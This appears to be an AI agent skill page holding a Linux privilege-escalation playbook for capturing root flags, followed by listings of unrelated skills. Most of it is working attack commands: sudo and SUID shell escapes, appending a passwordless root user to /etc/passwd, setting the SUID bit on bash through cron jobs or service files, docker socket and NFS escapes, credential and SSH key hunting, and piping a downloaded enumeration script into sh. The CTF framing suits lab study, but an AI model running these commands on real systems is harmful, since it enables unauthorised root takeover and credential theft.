privilege-escalation-knowledge
Comprehensive knowledge about Linux privilege escalation. Provides methodologies for enumerating and exploiting privesc vectors including SUID binaries, sudo permissions, capabilities, kernel exploits, cron jobs, and common misconfigurations. Includes systematic approach to capturing root flags.
What this skill does
# Privilege Escalation Knowledge Base
## Purpose
This knowledge base provides comprehensive privilege escalation methodologies for Linux systems. It covers escalating from low-privilege users (www-data, user) to root, then capturing the root flag.
## Layered Privilege Escalation Strategy
**Core Principle:** Escalate systematically through 3 layers - from quick wins to exhaustive enumeration.
### Layer Framework:
```
Layer 1 (Quick Wins - Manual):
- Check most common vectors immediately
- Goal: Find easy privesc within 2-3 minutes
- Focus: sudo -l, SUID, obvious misconfigurations
- Time: 2-5 minutes
Layer 2 (Deep Enumeration - Automated):
- Run comprehensive enumeration tools
- Goal: Find all possible privesc vectors
- Focus: linpeas, linenum, pspy
- Time: 5-15 minutes
Layer 3 (Alternative Methods):
- Try less common vectors or kernel exploits
- Goal: Find overlooked or complex privesc paths
- Focus: Kernel exploits, container escape, NFS, etc.
- Time: Variable
```
**Escalation Triggers:**
- Layer 1 finds nothing obvious → Run Layer 2 enumeration
- Layer 2 finds vectors but exploitation fails → Try Layer 3 alternatives
- Layer 3 fails → Re-examine reconnaissance, may have missed service/config
## Core Strategy
Systematic execution:
1. **Quick Wins** (Layer 1): Check easy vectors first (sudo, SUID, capabilities)
2. **Deep Enumeration** (Layer 2): Use automated tools to find all vectors
3. **Alternative Vectors** (Layer 3): Kernel exploits, container escape, NFS
4. **Exploitation**: Execute chosen privesc method
5. **Root Flag**: Locate and read root.txt
6. **Verification**: Confirm root access with `id`, `whoami`
## Tools Available
### Enumeration Scripts
- `linpeas.sh` - Comprehensive automated enumeration
- `linenum.sh` - Alternative enumeration script
- `pspy` - Monitor processes without root
### Manual Commands
- `sudo -l` - Check sudo permissions
- `find / -perm -4000 2>/dev/null` - Find SUID binaries
- `getcap -r / 2>/dev/null` - Find capabilities
- `crontab -l` - Check user cron jobs
- `cat /etc/crontab` - Check system cron jobs
### References
- GTFOBins (https://gtfobins.github.io/) - SUID/sudo exploitation
- PayloadsAllTheThings - Privesc cheatsheet
## Enumeration Workflow
### Phase 1: Quick Manual Checks
Execute these immediately:
```bash
# 1. Check current user and groups
id
groups
# 2. Check sudo permissions (most common vector)
sudo -l
# 3. Check SUID binaries
find / -perm -4000 -type f 2>/dev/null
# 4. Check writable files in /etc
find /etc -writable -type f 2>/dev/null
# 5. Check for interesting files
ls -la /home/*/
ls -la /root/
ls -la /opt/
ls -la /var/www/html/
# 6. Check running processes
ps aux | grep root
# 7. Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# 8. Check capabilities
getcap -r / 2>/dev/null
```
### Phase 2: Automated Enumeration
Download and run linpeas:
```bash
# Download linpeas
cd /tmp
wget http://YOUR_IP:8000/linpeas.sh
# Or
curl http://YOUR_IP:8000/linpeas.sh -o linpeas.sh
# Make executable
chmod +x linpeas.sh
# Run and save output
./linpeas.sh > linpeas-output.txt 2>&1
# Review output
cat linpeas-output.txt | grep -i "PEASS\|password\|ssh\|priv"
```
If can't download, use one-liner:
```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
## Common Privilege Escalation Vectors
### 1. Sudo Abuse (Most Common)
```bash
# Check what you can run as root
sudo -l
# Common exploitable commands:
# - vim: sudo vim -c ':!/bin/sh'
# - nano: sudo nano, then Ctrl+R Ctrl+X, type: reset; sh 1>&0 2>&0
# - less: sudo less /etc/profile, then !sh
# - man: sudo man man, then !sh
# - find: sudo find . -exec /bin/sh \; -quit
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
# - perl: sudo perl -e 'exec "/bin/sh";'
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
# - git: sudo git -p help config, then !sh
# GTFOBins template:
# 1. Identify binary you can sudo
# 2. Search GTFOBins for that binary
# 3. Follow exploitation steps
```
### 2. SUID Binaries
```bash
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Compare with standard SUID binaries
# Unusual ones are interesting
# Common exploitable SUID binaries:
# - /usr/bin/python
# - /usr/bin/perl
# - /usr/bin/php
# - /usr/bin/vim
# - /usr/bin/find
# - /usr/bin/nmap (old versions)
# - Custom binaries
# Exploitation examples:
# Python SUID
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
# Vim SUID
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# Find SUID
/usr/bin/find . -exec /bin/sh -p \; -quit
# Check GTFOBins for specific binary
```
### 3. Capabilities
```bash
# Find capabilities
getcap -r / 2>/dev/null
# Exploitable capabilities:
# - cap_setuid+ep on python/perl/ruby
# - cap_dac_read_search for reading any file
# Python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
```
### 4. Writable /etc/passwd
```bash
# Check if /etc/passwd is writable
ls -la /etc/passwd
# If writable, add root user
echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
# Or simpler (password: hacker)
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
# Login as new root user
su hacker
```
### 5. Cron Jobs
```bash
# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.*
# Look for:
# 1. Scripts run as root
# 2. Writable by your user
# If found writable script run by root
echo '#!/bin/bash\nchmod +s /bin/bash' > /path/to/script.sh
# Wait for cron to run (check schedule)
# Then execute
/bin/bash -p
```
### 6. Writable Service Files
```bash
# Check for writable systemd services
find /etc/systemd/system/ -writable 2>/dev/null
# If found, modify ExecStart
[Service]
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
# Restart service
systemctl restart vulnerable.service
# Execute SUID bash
/bin/bash -p
```
### 7. Kernel Exploits (Last Resort)
```bash
# Check kernel version
uname -a
uname -r
# Search for kernel exploits
searchsploit "linux kernel $(uname -r)"
searchsploit "ubuntu privilege escalation"
# Common kernel exploits:
# - DirtyCOW (CVE-2016-5195)
# - Dirty Pipe (CVE-2022-0847)
# - PwnKit (CVE-2021-4034)
# Example: Dirty Pipe
wget http://YOUR_IP:8000/dirtypipe.c
gcc dirtypipe.c -o dirtypipe
./dirtypipe
```
### 8. Docker/Container Escape
```bash
# Check if in Docker
ls -la /.dockerenv
cat /proc/1/cgroup | grep docker
# If docker socket is accessible
find / -name docker.sock 2>/dev/null
# If found /var/run/docker.sock
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Or check for privileged container
fdisk -l
# If you can see host disks, you're privileged
```
### 9. Credentials in Files
```bash
# Search for passwords
grep -r "password" /var/www/html/ 2>/dev/null
grep -r "pass" /etc/ 2>/dev/null
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i "password"
# Check history files
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
# Check for SSH keys
find / -name id_rsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
# Database credentials
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
```
### 10. NFS Exports
```bash
# Check NFS exports
cat /etc/exports
# If no_root_squash is set
# Mount on attacker machine:
mkdir /tmp/mount
mount -t nfs TARGET:/share /tmp/mount
# Create SUID binary as root on attacker
cp /bin/bash /tmp/mount/bash
chmod +s /tmp/mount/bash
# Execute on target
/share/bash -p
```
## Exploitation Process
### Step 1: Identify Vector
Based on enumeration, choose best vector:
1. **Sudo permissions** - Highest priority, usually easiest
2. **SUID binaries** - Check against GTFOBins
3. **Capabilities** - Less common but powerful
4. **Cron jobs** - May require waiting
5. **Kernel exploits** - Last resort, can crash system
### Step 2: Execute PrivescRelated in General
modeling-omnistudio-epc-catalog
IncludedSalesforce Industries CME EPC product-modeling skill for Product2-based catalog creation. Use when creating EPC products, configuring product attributes, building offer bundles with Product Child Items, or reviewing EPC DataPack JSON metadata for product catalog changes. TRIGGER when: user creates or updates Product2 EPC records, AttributeAssignment payloads, AttributeMetadata/AttributeDefaultValues, Offer bundles, or ProductChildItem relationships. DO NOT TRIGGER when: designing OmniScripts/FlexCards/Integration Procedures (use building-omnistudio-omniscript, building-omnistudio-flexcard, or building-omnistudio-integration-procedure), implementing Apex business logic (use generating-apex), or troubleshooting deployment pipelines (use deploying-metadata).
relationship-science-coach
IncludedUse this skill for direct, practical adult relationship coaching: couples conflict, repair, trust, marriage, dating, flirting, attachment patterns, emotional connection, sex, desire differences, eroticism, kink negotiation, affection, love languages, breakups, and long-term passion. Draw on Gottman, EFT and Hold Me Tight, attachment science, modern sex research, Perel, Nagoski, Kerner, Schnarch, Love and Stosny, and flexible love-language tools. Be concrete and low-hedge. Redirect only for imminent danger, abuse, coercive control, minors, non-consent, self-harm, stalking, or medical/legal/psychiatric decisions.
building-sf-integrations
IncludedSalesforce integration architecture and runtime plumbing with 120-point scoring. Use this skill to set up Named Credentials, External Credentials, External Services, REST/SOAP callout patterns, Platform Events, and Change Data Capture. TRIGGER when: user sets up Named Credentials, External Services, REST/SOAP callouts, Platform Events, CDC, or touches .namedCredential-meta.xml files. DO NOT TRIGGER when: Connected App/OAuth config (use configuring-connected-apps), Apex-only logic (use generating-apex), or data import/export (use handling-sf-data).
venue-templates
IncludedAccess comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.
let-fate-decide
IncludedDraws the 12 Houses of the Zodiac Tarot spread to inject entropy into planning when prompts are vague, ambiguous, or casually delegated. Interprets the spread to guide next steps. Use when the user says 'let fate decide', 'YOLO', 'whatever', 'idk', or other nonchalant phrases, makes Yu-Gi-Oh references, or when you are about to arbitrarily pick between multiple reasonable approaches. Prefer over ask-questions-if-underspecified when the user's tone is casual or playful rather than precision-seeking.
net-ops
IncludedCross-platform network troubleshooting (Windows, macOS, Linux) via local or remote shell. Use for: DNS broken, can't resolve hostnames, nslookup/dig works but apps fail, NRPT, WFP, scutil, /etc/resolver, systemd-resolved, /etc/resolv.conf, NetworkManager, VPN DNS leak residue (ProtonVPN/Mullvad/WireGuard/AnyConnect), AV/firewall blocking DNS or DoH, Tailscale DNS interaction, intermittent connectivity, remote diagnostics over SSH.